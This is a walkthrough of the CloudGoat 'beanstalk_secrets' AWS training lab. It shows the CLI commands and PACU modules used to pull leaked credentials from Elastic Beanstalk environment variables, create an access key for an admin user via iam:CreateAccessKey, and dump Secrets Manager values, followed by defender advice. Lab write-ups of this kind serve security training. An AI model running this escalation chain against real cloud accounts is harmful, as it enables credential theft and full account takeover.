This walkthrough covers the CloudGoat scenario beanstalk_secrets. The key weakness is sensitive credentials stored in Elastic Beanstalk environment variables. Starting from a low-privileged IAM user, we can chain misconfigurations into full administrative access and retrieve the final flag.

I worked through it two ways:

  1. Manual AWS CLI enumeration to understand each control gap.
  2. PACU automation to validate and speed up the same path.

Lab safety: All examples below use redacted placeholders. Never publish or reuse real keys, tokens, emails, or secret values from live environments.

Why this scenario matters

Elastic Beanstalk environment variables are convenient, but they are not a safe place for long-lived secrets. If a principal can read configuration settings, those values can become an access pivot.

In this lab, leaked secondary credentials had IAM permissions that allowed iam:CreateAccessKey on *. That single permission made privilege escalation straightforward once an admin user was identified.

Manual AWS CLI walkthrough

Initial access (low-priv user)

Configure the low-priv credentials in a profile:

aws configure --profile eb-lowpriv
aws sts get-caller-identity --profile eb-lowpriv

Enumerate Beanstalk application and environment

aws elasticbeanstalk describe-applications --profile eb-lowpriv
aws elasticbeanstalk describe-environments --application-name <APP_NAME> --profile eb-lowpriv

In this scenario, some direct environment-resource calls fail due to insufficient permissions, which is expected.

Pull configuration settings and extract leaked secondary creds

aws elasticbeanstalk describe-configuration-settings \
  --application-name <APP_NAME> \
  --environment-name <ENV_NAME> \
  --profile eb-lowpriv

The EnvironmentVariables output reveals values such as:

SECONDARY_ACCESS_KEY=AKIA****************
SECONDARY_SECRET_KEY=********************************

Pivot to secondary user and enumerate IAM

Configure the leaked pair in a second profile and verify identity:

aws configure --profile eb-secondpriv
aws sts get-caller-identity --profile eb-secondpriv

Enumerate users and attached policies:

aws iam list-users --profile eb-secondpriv
aws iam list-attached-user-policies --user-name <SECONDARY_USER> --profile eb-secondpriv
aws iam get-policy --policy-arn <SECONDARY_POLICY_ARN> --profile eb-secondpriv
aws iam get-policy-version --policy-arn <SECONDARY_POLICY_ARN> --version-id v1 --profile eb-secondpriv

The policy version reveals a dangerous privilege: iam:CreateAccessKey with wildcard resource scope.

Escalate by creating key for admin user

First confirm an admin user exists:

aws iam list-attached-user-policies --user-name <ADMIN_USER> --profile eb-secondpriv

Then create an access key for that user:

aws iam create-access-key --user-name <ADMIN_USER> --profile eb-secondpriv

Configure the new admin key in a third profile and validate:

aws configure --profile eb-admin
aws sts get-caller-identity --profile eb-admin

Enumerate and retrieve secrets

aws secretsmanager list-secrets --profile eb-admin
aws secretsmanager get-secret-value --secret-id <FINAL_FLAG_SECRET_NAME> --profile eb-admin

At this point, the final flag is exposed through Secrets Manager.

PACU workflow (same chain, faster)

Using equivalent credentials, PACU modules provide the same outcome with less manual typing:

  • elasticbeanstalk__enum to discover app/env data and potential credential leaks.
  • iam__enum_users_roles_policies_groups + iam__enum_permissions for IAM visibility.
  • iam__privesc_scan to confirm CreateAccessKey escalation path.
  • secrets__enum to enumerate and dump Secrets Manager values post-escalation.

Automation speeds validation, but the manual CLI path is still important for understanding exactly where guardrails failed.

Defender takeaways

  • Do not store secrets in Beanstalk env vars; use AWS Secrets Manager or Parameter Store with tightly scoped access.
  • Constrain IAM actions like iam:CreateAccessKey to explicit principals (or remove entirely).
  • Audit wildcard IAM resources and high-risk identity actions regularly.
  • Monitor for abnormal key creation events and alert on CreateAccessKey for sensitive users.
  • Rotate and invalidate leaked credentials immediately when exposure is detected.

References